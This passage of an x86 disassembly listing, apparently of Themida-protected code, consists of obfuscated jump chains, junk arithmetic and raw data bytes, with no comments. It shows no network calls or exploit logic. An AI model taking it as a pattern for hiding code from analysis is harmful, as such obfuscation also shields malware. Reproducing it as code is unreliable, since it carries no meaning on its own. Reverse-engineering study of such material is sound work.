dl, bl pop ebx mov bh, dl pop edx mov ecx, [esp] add esp, 4 push edx mov dl, 4Dh jmp loc_5AE02E ; --------------------------------------------------------------------------- loc_59B077: ; CODE XREF: Themida_:005AECEEj shr esi, 6 jmp loc_5A277A ; --------------------------------------------------------------------------- db 89h dd 9BE2434h, 0C1670A32h, 0C68108EEh, 0FF98F5CEh, 4EC81h dd 34890000h, 0B3BF5724h, 0E9188C72h, 682Bh ; --------------------------------------------------------------------------- loc_59B0A4: ; CODE XREF: Themida_:005A7FF2j mov ebx, 5E062581h inc ebx neg ebx shr ebx, 3 not ebx xor ebx, 35E026FFh sub ebx, 73E3B93Dh sub eax, ebx pop ebx pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mul cx push small 4B4h mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dword_59B0E0 dd 8124048Bh, 4ECh, 240C8900h, 81E78957h, 4C7h, 4BA5200h ; DATA XREF: Themida_:00598940o dd 0E9000000h, 0FFBBh ; --------------------------------------------------------------------------- loc_59B100: ; CODE XREF: Themida_:0059E677j pop edi pop edx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5A5A88 ; --------------------------------------------------------------------------- loc_59B116: ; CODE XREF: Themida_:005AE1E8j add edx, 3C834EFEh jmp loc_5AF6D8 ; --------------------------------------------------------------------------- loc_59B121: ; CODE XREF: Themida_:005A6C9Bj pop ebx xor edi, 3CFF2B87h push eax mov eax, 0A8F10D8h jmp loc_5AF4D3 ; --------------------------------------------------------------------------- loc_59B133: ; CODE XREF: Themida_:00599F75j mov esp, [esp] mov [esp], edi push 61376279h pop edi sub esp, 4 mov [esp], ebx mov ebx, 59201FCDh xor edi, ebx jmp loc_5AD1FB ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0D1010000h, 0E924148Bh, 0F885h ; --------------------------------------------------------------------------- loc_59B164: ; CODE XREF: Themida_:005A87D4j ; Themida_:loc_5ABBF5j jmp loc_5AAF7C ; --------------------------------------------------------------------------- loc_59B169: ; CODE XREF: Themida_:005A27EAj and al, 0C9h or al, 33h not al push ecx jmp loc_5A1AE9 ; --------------------------------------------------------------------------- db 0B9h, 95h, 1Dh dd 0D9F73352h, 0FBD88E0Fh, 0E9810000h, 39A2348Fh, 21AD860Fh db 2 dup(0), 54h ; --------------------------------------------------------------------------- loc_59B18F: ; CODE XREF: Themida_:005A1734j mov [esp], eax push esp pop eax add eax, 4 jmp loc_5A5FAA ; --------------------------------------------------------------------------- loc_59B19E: ; CODE XREF: Themida_:005AFDDDj jmp loc_5A4F38 ; --------------------------------------------------------------------------- loc_59B1A3: ; CODE XREF: Themida_:0059FBA2j push ebx mov ebx, 71C16199h or ebx, 21533FE1h shr ebx, 6 push edx jmp loc_59A0B7 ; --------------------------------------------------------------------------- loc_59B1B8: ; CODE XREF: Themida_:0059A77Fj xchg edi, [esp] pop esp push ebx mov ebx, esp push edx jmp loc_5A5660 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0B7B3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B1CE: ; CODE XREF: Themida_:005AAE6Dj push 34D5h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_5A5002 ; --------------------------------------------------------------------------- loc_59B1E3: ; CODE XREF: Themida_:005A075Ej ; Themida_:005A93D9j mov esp, [esp] jmp loc_5ABFBF ; --------------------------------------------------------------------------- loc_59B1EB: ; CODE XREF: Themida_:005A9430j mov dl, 0B7h xor ah, dl mov edx, [esp] add esp, 4 shl ah, 2 jnp loc_5A305E add ah, 95h shl ah, 5 js loc_5A99DC xor ah, 9 jmp loc_59BEA4 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0C99CE9h db 0 ; --------------------------------------------------------------------------- loc_59B21D: ; CODE XREF: Themida_:0059A351j push edi push ebx mov ebx, 39D5792Ch add ebx, 45F92B53h jmp loc_59ED32 ; --------------------------------------------------------------------------- loc_59B22F: ; CODE XREF: Themida_:0059CAE4j sub ch, 0B1h sub ch, dl add ch, 0B1h push dword ptr [esp] push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp sub esp, 2 mov [esp], ax push ebx mov bh, 11h xor bh, 0EFh jno loc_59BDAA shl bh, 5 jnp loc_59E8FC and bh, 6Ch push ebx loc_59B287: ; CODE XREF: Themida_:005A7778j inc eax jo loc_5A4A8C shl eax, 5 jmp loc_5A4F0B ; --------------------------------------------------------------------------- loc_59B296: ; CODE XREF: Themida_:005A6DFAj push 0C8D0DE4h jmp loc_5A2284 ; --------------------------------------------------------------------------- dword_59B2A0 dd 0E924248Bh, 0FFFFD6FBh; --------------------------------------------------------------------------- loc_59B2A8: ; CODE XREF: Themida_:0059912Cj ; Themida_:0059F3EEj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B2B9: ; CODE XREF: Themida_:0059D324j mov [esp], ecx jmp loc_5A9CEF ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 8 dd 8EF5840Fh, 0EFC10000h, 128A0F05h, 8100008Dh, 5424CC7h dd 247C01FDh, 243C8B04h db 8Bh, 0F0h ; --------------------------------------------------------------------------- loc_59B2E2: ; CODE XREF: Themida_:005A3714j push 27EBh mov [esp], edx mov edx, 44804925h xor ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 add ecx, 2F129A97h add eax, ecx jmp loc_59D3DF ; --------------------------------------------------------------------------- loc_59B307: ; CODE XREF: Themida_:00599844j mov esp, [esp] sub [edi+24h], esi pop esi loc_59B30E: ; CODE XREF: Themida_:0059A0DAj push 5CC2h mov [esp], ecx jmp loc_5AD255 ; --------------------------------------------------------------------------- loc_59B31B: ; CODE XREF: Themida_:005AC4C4j xor ebp, 68DBED8Dh sub esi, ebp jmp loc_5AA740 ; --------------------------------------------------------------------------- dd 0CA80F2B2h, 0FCAFEEFh, 0FC8D81h, 5DC28000h, 841830Fh dd 0F58B0001h, 0C231D0F7h, 1333BE9h db 0 ; --------------------------------------------------------------------------- loc_59B349: ; CODE XREF: Themida_:0059AAEFj mov [esp], edi jmp loc_5A31E4 ; --------------------------------------------------------------------------- loc_59B351: ; CODE XREF: Themida_:005A226Bj sub esp, 4 mov [esp], edi mov edi, 2 jmp loc_5ACAD7 ; --------------------------------------------------------------------------- dword_59B364 dd 0E08950ACh, 405h, 4BD5500h, 29000000h, 0DAE95DE8h ; DATA XREF: Themida_:00598938o db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B37B: ; CODE XREF: Themida_:005A492Fj shr esi, 5 push ebx jmp loc_5AC819 ; --------------------------------------------------------------------------- loc_59B384: ; CODE XREF: Themida_:0059D556j add esi, 46C466E4h add esi, edx sub esi, 46C466E4h pop edx add ebx, esi jmp loc_5ADE89 ; --------------------------------------------------------------------------- loc_59B39A: ; CODE XREF: Themida_:005AAC0Cj ; DATA XREF: Themida_:00598884o lodsb jmp loc_59E60D ; --------------------------------------------------------------------------- loc_59B3A0: ; CODE XREF: Themida_:005A05E0j add esp, 4 push dword ptr [esp] mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add esp, 4 push ecx push ebx mov ebx, 648E27D1h push ebx pop ecx pop ebx jmp loc_59C14B ; --------------------------------------------------------------------------- loc_59B3D4: ; CODE XREF: Themida_:0059980Aj xor ah, 0EFh mov bh, ah jmp loc_5A565A ; --------------------------------------------------------------------------- dw 0A6E9h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B3E3: ; CODE XREF: Themida_:005AEB08j xor esi, [esp] pop esp push 6ADBh mov [esp], edi jmp loc_5A0A58 ; --------------------------------------------------------------------------- loc_59B3F4: ; CODE XREF: Themida_:005A75ACj pop edx shl ah, 7 sub ah, 1 jmp loc_5AF285 ; --------------------------------------------------------------------------- loc_59B400: ; CODE XREF: Themida_:005A2303j inc ecx jmp loc_5A64EA ; --------------------------------------------------------------------------- loc_59B406: ; CODE XREF: Themida_:00599B21j mov esp, [esp] push 28A6h mov [esp], ecx push 3278h jmp loc_59EFE6 ; --------------------------------------------------------------------------- loc_59B41B: ; CODE XREF: Themida_:005A71D7j push ebx push edi mov edi, 60F407AEh jmp loc_59E862 ; --------------------------------------------------------------------------- db 0BEh dd 58576824h, 0FFEDA8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59B431: ; CODE XREF: Themida_:005A7354j mov edx, eax pop eax push dword ptr [esp] pop esi push 1AB8h mov [esp], edx jmp loc_5AA7E5 ; --------------------------------------------------------------------------- loc_59B445: ; CODE XREF: Themida_:005A2468j xor ecx, [esp] xor [esp], ecx jmp loc_5A30C7 ; --------------------------------------------------------------------------- aLSZ db '^▀,$И}z',0 db 0 ; --------------------------------------------------------------------------- loc_59B459: ; CODE XREF: Themida_:005AD96Fj push eax mov eax, 0A7F4CA6h inc eax and eax, 2FEF4242h jz loc_5A3343 add eax, 0F24A6378h xor edx, eax pop eax sub ebx, 7DAE11E2h sub ebx, edx add ebx, 7DAE11E2h pop edx xchg ebx, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 3EE9F789h db 0D9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B49F: ; CODE XREF: Themida_:005A811Dj ; Themida_:005ABCA3j push dx mov dl, 0EEh xor bl, dl pop dx jmp loc_59C21D ; --------------------------------------------------------------------------- loc_59B4AC: ; CODE XREF: Themida_:0059D803j pop ecx add esp, 4 jmp loc_5A0800 ; --------------------------------------------------------------------------- loc_59B4B8: ; CODE XREF: Themida_:005ACC72j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59A583 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 8E8C100h, 0DA8CE9h db 0 ; --------------------------------------------------------------------------- loc_59B4DD: ; CODE XREF: Themida_:0059FCF9j xor edi, [esp] xor [esp], edi jmp loc_5AD033 ; --------------------------------------------------------------------------- dd 8103E5C1h, 5A5D91EDh, 0ED814D38h, 454062FFh, 555DEA01h dd 7D98B951h, 0FDBD7184h, 311C8721h, 0F58159CDh, 37D65E6Eh dd 2EE9EA29h db 0Eh, 1, 0 ; --------------------------------------------------------------------------- loc_59B517: ; CODE XREF: Themida_:005A29F5j add esp, 4 sub bl, al push small 4427h jmp loc_5A97DE ; --------------------------------------------------------------------------- loc_59B525: ; CODE XREF: Themida_:0059BEAEj add ah, 0F3h sub ah, bh sub ah, 0F3h jmp loc_5AC7E0 ; --------------------------------------------------------------------------- dw 0C89h dd 4EC8324h, 0E9242C89h, 0A273h dword_59B540 dd 9C241CF7h, 0FFD45AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59B549: ; CODE XREF: Themida_:0059E737j push small 66DEh jmp loc_5AB83F ; --------------------------------------------------------------------------- dw 0F41h dd 0FFF7678Fh, 8AF181FFh, 0E918656Ah, 356Eh, 345E6851h dd 34E90000h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B56F: ; CODE XREF: Themida_:0059FBFCj neg ebp push ebx jmp loc_5AEC8E ; --------------------------------------------------------------------------- loc_59B577: ; CODE XREF: Themida_:00598CFCj push esp jmp loc_5A1A6C ; --------------------------------------------------------------------------- loc_59B57D: ; CODE XREF: Themida_:0059CDA2j mov ecx, 814C67A5h sub ecx, edi pop edi add ecx, 1AFE3136h or ecx, 72CE2E61h neg ecx sub ecx, 2CDAF355h sub edx, 45800F06h add edx, ecx add edx, 45800F06h pop ecx mov eax, edx pop edx mov edi, eax jmp loc_5A1739 ; --------------------------------------------------------------------------- loc_59B5B2: ; CODE XREF: Themida_:0059BEF5j mov edx, 3BF56C34h mov ebx, edx pop edx add ebx, 447A2423h push ebx mov ebx, esp jmp loc_59CB35 ; --------------------------------------------------------------------------- loc_59B5C8: ; CODE XREF: Themida_:005A5506j inc ebp jmp loc_5A9DF3 ; --------------------------------------------------------------------------- loc_59B5CE: ; CODE XREF: Themida_:0059ED2Dj add eax, ebx pop ebx push dword ptr [esp] pop ecx add esp, 4 shl eax, cl jmp loc_5A1ECA ; --------------------------------------------------------------------------- db 56h dd 9D3DB9BEh, 0DCE8164h, 81798A75h, 903999F6h, 0F296E97Ah dd 0A8E90000h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B5FB: ; CODE XREF: Themida_:00598F54j neg edx and edx, 1FB03BD7h shl edx, 5 sub edx, 1 or edx, 1EB5467Ch push ebp jmp loc_5AACA9 ; --------------------------------------------------------------------------- loc_59B618: ; CODE XREF: Themida_:0059F964j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A2DA2 ; --------------------------------------------------------------------------- loc_59B62F: ; CODE XREF: Themida_:005AA99Fj add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 7271h mov [esp], eax mov al, 0F0h jmp loc_59FCFE ; --------------------------------------------------------------------------- loc_59B655: ; CODE XREF: Themida_:005AC307j xor ecx, edx push dword ptr [esp] pop edx add esp, 4 pop eax or [edi+1Ch], ecx mov ecx, [esp] add esp, 4 loc_59B66B: ; CODE XREF: Themida_:005A1BF1j push 38D4h mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 685656Eh push ebx push ebp mov ebp, 6CCD6791h jmp loc_5A695B ; --------------------------------------------------------------------------- loc_59B68D: ; CODE XREF: Themida_:005AD56Cj pop esi add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] jmp loc_5A4ED4 ; --------------------------------------------------------------------------- loc_59B69D: ; CODE XREF: Themida_:005ABFEBj or eax, 5B2414BEh neg eax jmp loc_5ABEEA ; --------------------------------------------------------------------------- loc_59B6A9: ; CODE XREF: Themida_:0059E8F0j pop eax add [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_5AEDE7 ; --------------------------------------------------------------------------- loc_59B6B7: ; CODE XREF: Themida_:0059FD57j pop esi shr ecx, 4 not ecx xor ecx, 694A396Ah inc ecx push 0B09h mov [esp], ebp mov ebp, 149B67C9h xor ebp, 3EC0648Ah neg ebp xor ebp, 20B62CFCh and ebp, 3F684DC1h neg ebp add ebp, 0BD28D79Ch xor ecx, ebp pop ebp sub edx, ecx pop ecx jmp loc_59CBEF ; --------------------------------------------------------------------------- loc_59B6F8: ; CODE XREF: Themida_:00599697j ; Themida_:0059DC23j add eax, 0AF474029h inc eax sub eax, 1E360CB8h add edi, eax pop eax push ebx push 2 pop ebx add edi, ebx jmp loc_5AB308 ; --------------------------------------------------------------------------- dd 24048F54h, 4240483h, 19F3E9h, 4C38100h, 81000000h, 4EBh dd 0EFDCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B732: ; CODE XREF: Themida_:005AFA58j pop ecx jmp loc_59C743 ; --------------------------------------------------------------------------- loc_59B738: ; CODE XREF: Themida_:0059FBEEj add eax, 4 xchg eax, [esp] jmp loc_5A4A3E ; --------------------------------------------------------------------------- loc_59B745: ; CODE XREF: Themida_:0059C218j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B754: ; CODE XREF: Themida_:005A8CF0j sub edx, 0FFFFFFFFh sub edx, 65B9A54h mov ecx, edx pop edx and ecx, 31943CF3h add ecx, 68A90A87h xor ecx, 987473CAh sub ebx, ecx pop ecx push 6FD6h mov [esp], eax mov eax, 0 add eax, ebx mov [eax], ch pop eax pop ebx jmp loc_5ABEDC ; --------------------------------------------------------------------------- loc_59B78D: ; CODE XREF: Themida_:0059A307j and eax, ebx push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 jmp loc_59DA39 ; --------------------------------------------------------------------------- loc_59B7B3: ; CODE XREF: Themida_:005A034Dj add ebp, 4 xchg ebp, [esp] pop esp xor ch, bl pop bx xor al, ch mov ecx, [esp] add esp, 4 jmp loc_59EE2E ; --------------------------------------------------------------------------- dw 0C101h dd 582434FFh, 0E904C483h, 0FF4Bh ; --------------------------------------------------------------------------- loc_59B7DC: ; CODE XREF: Themida_:005AD129j add al, 0FCh sub esp, 4 mov [esp], edx jmp loc_5A9E31 ; --------------------------------------------------------------------------- db 0Fh, 82h, 1Dh dd 81000013h, 340FE3EFh, 35830F2Dh, 0E90000A4h, 13254h dd 5EE9CA89h, 89000095h, 4C483E8h, 54E9CD31h db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59B813: ; CODE XREF: Themida_:loc_5A38D2j add eax, 68DB79D5h jns loc_5AA527 sub eax, 46272752h jnz loc_5A0162 mov dh, ch mov dh, 7Ah pop esi jmp loc_5A50BC ; --------------------------------------------------------------------------- loc_59B833: ; CODE XREF: Themida_:0059A569j ; Themida_:005A79DDj add eax, 1 push ebx mov ebx, 53FF16C2h jmp loc_5A3E34 ; --------------------------------------------------------------------------- loc_59B843: ; CODE XREF: Themida_:005A82EAj pop edx add edx, 4 sub edx, 4 jmp loc_5AEFDE ; --------------------------------------------------------------------------- loc_59B855: ; CODE XREF: Themida_:005AB4CAj mov dh, ch mov ecx, [esp] jmp loc_5A7265 ; --------------------------------------------------------------------------- byte_59B85F db 0ACh ; DATA XREF: Themida_:00598740o dd 80A7B151h, 0F18012C1h, 53C9FEF7h, 478568h, 24148900h dd 5F6FE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B87A: ; CODE XREF: Themida_:005AA184j mov eax, [esp] add esp, 4 push esi mov esi, 248E675Ah xor eax, esi pop esi pop edi add ebx, 192804C4h jmp loc_59FA08 ; --------------------------------------------------------------------------- loc_59B898: ; CODE XREF: Themida_:0059EABCj neg ebp xor ebp, 158D0DA5h and ebx, ebp pop ebp not ebx sub ebx, 663F33C5h jmp loc_5AACE4 ; --------------------------------------------------------------------------- dd 31F6C681h, 8D0F72B4h, 0FFFFD45Dh, 2EFDE9h, 7ACB8100h dd 0F7357303h, 0E1C152D3h, 7CE98106h, 0E94F5127h, 13F4Bh ; --------------------------------------------------------------------------- loc_59B8D8: ; CODE XREF: Themida_:005A58E2j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_5AAA6D ; --------------------------------------------------------------------------- loc_59B8EB: ; CODE XREF: Themida_:005A8A2Fj push edi mov edi, 5EAE362Ch sub esp, 4 mov [esp], edi pop esi jmp loc_5A8417 ; --------------------------------------------------------------------------- loc_59B8FD: ; CODE XREF: Themida_:005A042Dj shl eax, 4 push ebp mov ebp, 23D3AEBEh sub eax, ebp pop ebp mov esi, eax pop eax push ebp mov ebp, 502D6EAEh jmp loc_5AA3A7 ; --------------------------------------------------------------------------- loc_59B917: ; CODE XREF: Themida_:005AFBFEj sub eax, 0E8689FDh push edx mov edx, 3890463Fh or eax, edx jmp loc_5A7FE0 ; --------------------------------------------------------------------------- loc_59B929: ; CODE XREF: Themida_:005A00E5j sub dl, 79h jmp loc_5ADEBF ; --------------------------------------------------------------------------- db 51h, 0B5h, 3Dh dd 0E9CCF580h, 0C62h ; --------------------------------------------------------------------------- loc_59B93C: ; CODE XREF: Themida_:005AD43Bj push 10h push dword ptr [esp] jmp loc_59CBF5 ; --------------------------------------------------------------------------- loc_59B949: ; CODE XREF: Themida_:0059EC34j ; Themida_:005AF186j xor ebx, esi pop esi xor ebx, 617735B3h jmp loc_5A9B6F ; --------------------------------------------------------------------------- loc_59B957: ; CODE XREF: Themida_:005ABBD3j sub ecx, 46EA3E08h add ecx, eax add ecx, 46EA3E08h sub esp, 4 mov [esp], ebp push esi jmp loc_5A0CE8 ; --------------------------------------------------------------------------- loc_59B974: ; CODE XREF: Themida_:005ABCF0j pop esi add ecx, eax pop eax push 7C31h mov [esp], ecx push dword ptr [esp+4] jmp loc_59F4C2 ; --------------------------------------------------------------------------- loc_59B989: ; CODE XREF: Themida_:005AD6C6j mov edi, 4 add ebx, edi jmp loc_59FCB4 ; --------------------------------------------------------------------------- db 2Dh, 0E2h, 37h dd 0C6898CE9h, 8124048Bh, 4C4h, 7415E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59B9AA: ; CODE XREF: Themida_:005AD597j not ecx jmp loc_5A62E8 ; --------------------------------------------------------------------------- loc_59B9B1: ; CODE XREF: Themida_:005AA3A2j shl edi, 8 inc edi xor edi, 69A84CCAh add edi, 9ECEB337h push 4515h jmp loc_59FA8E ; --------------------------------------------------------------------------- loc_59B9CB: ; CODE XREF: Themida_:00599045j pop esp mov ax, [esp] push 4F53h mov [esp], eax push esp pop eax push 27EBh mov [esp], esi push esp pop esi add esi, 4 jmp loc_5A3AEF ; --------------------------------------------------------------------------- db 29h dd 0B5E95BDAh db 0E2h, 2 dup(0FFh) byte_59B9F7 db 66h ; DATA XREF: Themida_:00598824o dd 6824048Bh, 2259h, 54243489h, 4C6815Eh, 68000000h, 1748h dd 0B8240489h, 2, 0E1B2E957h, 0C4830000h, 4AC16804h, 34890000h dd 5C37E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BA2E: ; CODE XREF: Themida_:00598E9Ej ; Themida_:0059D00Cj mov ebp, [esp] add esp, 4 push 3476h jmp loc_5A9FF7 ; --------------------------------------------------------------------------- loc_59BA41: ; CODE XREF: Themida_:0059C118j pop esi add esp, 4 movzx eax, al jmp loc_5AF48B ; --------------------------------------------------------------------------- loc_59BA50: ; CODE XREF: Themida_:005ABEC9j shl eax, 7 jp loc_5AE9A0 jmp loc_5A6F8E ; --------------------------------------------------------------------------- dw 0EEC1h dd 243E904h db 1, 0 ; --------------------------------------------------------------------------- loc_59BA66: ; CODE XREF: Themida_:0059D83Aj add edx, 4 sub esp, 4 mov [esp], ebx jmp loc_5A91C9 ; --------------------------------------------------------------------------- db 8Bh dd 71E92404h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BA7F: ; CODE XREF: Themida_:005A7307j shl ebx, 3 shl ebx, 5 push 110Ah mov [esp], esi jmp loc_5ABE38 ; --------------------------------------------------------------------------- dw 0EE80h dd 0DEF6584Bh, 0E907E6C0h, 134AEh, 0F66B8E05h, 1BE95A6Ch dd 0B6000124h, 0F191E976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59BAB2: ; CODE XREF: Themida_:loc_59A784j push eax mov al, 94h push ecx mov cl, 0DDh sub al, cl pop ecx xor bh, al mov eax, [esp] jmp loc_5AD189 ; --------------------------------------------------------------------------- loc_59BAC5: ; CODE XREF: Themida_:005A36FAj add ebx, 4 xchg ebx, [esp] pop esp push edi jmp loc_5A9A53 ; --------------------------------------------------------------------------- loc_59BAD2: ; CODE XREF: Themida_:005AADD2j mov [esp], esi jmp loc_5A561E ; --------------------------------------------------------------------------- dw 0E95Bh dd 11295h ; --------------------------------------------------------------------------- loc_59BAE0: ; CODE XREF: Themida_:005995A3j mov [esp], edx jmp loc_5A814C ; --------------------------------------------------------------------------- dd offset dword_455248+197A1h dd 4C48100h, 68000000h, 1F90h, 0B9240C89h, 4F1348A8h, 1E981h dd 0CEE90000h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BB0B: ; CODE XREF: Themida_:0059D3A5j mov [esp], edi mov edi, 7F7F48C9h sub esi, edi jmp loc_5989BD ; --------------------------------------------------------------------------- loc_59BB1A: ; CODE XREF: Themida_:00599D74j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A1816 ; --------------------------------------------------------------------------- loc_59BB2E: ; CODE XREF: Themida_:0059E932j pop edx movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] push 5B2Ah mov [esp], ebp jmp loc_59EFA7 ; --------------------------------------------------------------------------- loc_59BB45: ; CODE XREF: Themida_:005AEE4Aj mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A3019 ; --------------------------------------------------------------------------- loc_59BB5C: ; CODE XREF: Themida_:0059F768j ; Themida_:loc_5A0A72j ... add esp, 4 jmp loc_5A094F ; --------------------------------------------------------------------------- loc_59BB64: ; CODE XREF: Themida_:005A30E2j shl edi, 3 sub edi, 0FEE9E7A4h add edx, edi pop edi xchg edx, [esp] pop esp jmp loc_5A6E67 ; --------------------------------------------------------------------------- loc_59BB79: ; CODE XREF: Themida_:005A3672j sub eax, edi jmp loc_5A30AF ; --------------------------------------------------------------------------- loc_59BB80: ; CODE XREF: Themida_:0059E404j or eax, 3C8E1A1Bh push ebx mov ebx, 765D5816h xor eax, ebx pop ebx add eax, 1454E29Bh xor edx, eax pop eax push ebx mov ebx, edx jmp loc_5A8E5D ; --------------------------------------------------------------------------- loc_59BB9E: ; CODE XREF: Themida_:005AE13Aj add esi, 5BA206A8h add ebx, esi mov esi, [esp] add esp, 4 add eax, 776669A7h sub eax, 24962125h add eax, ebx add eax, 24962125h push edx mov edx, 776669A7h sub eax, edx pop edx push dword ptr [esp] pop ebx push edi push esp pop edi push ecx mov ecx, 4 add edi, ecx jmp loc_59FF06 ; --------------------------------------------------------------------------- db 1, 0C8h, 8Bh dd 0C483240Ch, 773AE904h, 59540000h, 10648E9h db 0 ; --------------------------------------------------------------------------- loc_59BBF1: ; CODE XREF: Themida_:005A26C1j mov edx, esi push dword ptr [esp] pop esi push eax mov eax, esp push ebx mov ebx, 4 sub eax, 76ED4D51h add eax, ebx add eax, 76ED4D51h mov ebx, [esp] add esp, 4 add eax, 4 xor eax, [esp] jmp loc_59A7CA ; --------------------------------------------------------------------------- loc_59BC20: ; CODE XREF: Themida_:0059DA07j neg ebp push 0 sub [esp], ebp pop ebp jmp loc_59D1D5 ; --------------------------------------------------------------------------- loc_59BC30: ; CODE XREF: Themida_:005A8A12j pop esp jmp loc_5A4F06 ; --------------------------------------------------------------------------- word_59BC36 dw 31ADh ; DATA XREF: Themida_:00598900o dd 4EC81D8h, 0E9000000h, 365Fh ; --------------------------------------------------------------------------- loc_59BC44: ; CODE XREF: Themida_:005A60A3j push edx push esi mov esi, 67C50F29h jmp loc_5A26AF ; --------------------------------------------------------------------------- dd 18AA68h, 24248900h, 0EB24E9h db 0 ; --------------------------------------------------------------------------- loc_59BC5D: ; CODE XREF: Themida_:005AD296j not dword ptr [esp] jmp loc_598CBC ; --------------------------------------------------------------------------- db 50h, 0B8h, 1 dd 0E9000000h, 7612h ; --------------------------------------------------------------------------- loc_59BC70: ; CODE XREF: Themida_:005A08D4j ; Themida_:005A574Cj pop eax xor dh, 6Dh push ebx jmp loc_5AB7B7 ; --------------------------------------------------------------------------- loc_59BC7A: ; CODE XREF: Themida_:005A99BBj add ebp, 4E451A3Dh jmp loc_59F709 ; --------------------------------------------------------------------------- loc_59BC85: ; CODE XREF: Themida_:loc_5A79ECj xor dl, 8Ah jmp loc_5A233A ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0E3815A5Ch, 38287AD3h, 1C42810Fh, 0E4680000h, 89000001h dd 7ABA2414h, 31665401h db 0D3h ; --------------------------------------------------------------------------- loc_59BCAD: ; CODE XREF: Themida_:005A773Bj sub [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59BCB6: ; CODE XREF: Themida_:005A7134j sub esp, 4 mov [esp], edi jmp loc_5ABB0D ; --------------------------------------------------------------------------- dd 8124048Bh, 4ECh, 24048900h, 3DE95854h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59BCD7: ; CODE XREF: Themida_:0059AED5j mov ebx, 4 add ebp, ebx jmp loc_5A722C ; --------------------------------------------------------------------------- db 68h dd 2043h, 0BD242C89h, 668E53C3h, 8108E5C1h, 765A92E5h dd 0E960E965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59BCFE: ; CODE XREF: Themida_:0059CB96j pop eax add eax, 4 push ebp push 5186h jmp loc_5A2535 ; --------------------------------------------------------------------------- loc_59BD0F: ; CODE XREF: Themida_:0059CA2Bj push eax jmp loc_5A3FA7 ; --------------------------------------------------------------------------- loc_59BD15: ; CODE XREF: Themida_:005A49C2j mov ebp, edx pop edx add esi, ebp pop ebp sub esp, 4 mov [esp], esi jmp loc_5A22CE ; --------------------------------------------------------------------------- loc_59BD26: ; CODE XREF: Themida_:005A2F28j add eax, 645014E4h add eax, 166932F1h add eax, edx jmp loc_5A9D46 ; --------------------------------------------------------------------------- db 68h dd 0 dd 0FFE05AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59BD41: ; CODE XREF: Themida_:005A1035j pop edi add edx, ebx push eax mov eax, 0 add eax, edx push ecx mov ecx, 0 add ecx, eax add [ecx], esi jmp loc_5A49C7 ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 4EC81h, 0C890000h, 82B85024h, 0E95CF044h dd 2663h, 1E9068h, 0E428E900h, 0E952FFFFh, 11140h ; --------------------------------------------------------------------------- loc_59BD84: ; CODE XREF: Themida_:0059ECAAj pop esi add esp, 4 add esi, 8047B71Ch add ebp, esi mov esi, [esp] jmp loc_5A649C ; --------------------------------------------------------------------------- loc_59BD98: ; CODE XREF: Themida_:0059D77Cj xchg eax, [esp] pop esp jmp loc_5A0B0D ; --------------------------------------------------------------------------- loc_59BDA1: ; CODE XREF: Themida_:0059CD5Bj pop edi sub ebx, eax pop eax jmp loc_5AEC65 ; --------------------------------------------------------------------------- loc_59BDAA: ; CODE XREF: Themida_:0059B274j shl bh, 5 jnp loc_59BE42 and bh, 6Ch jl loc_59D109 shr bh, 8 jnp loc_59E97B push dx jmp loc_5A1C10 ; 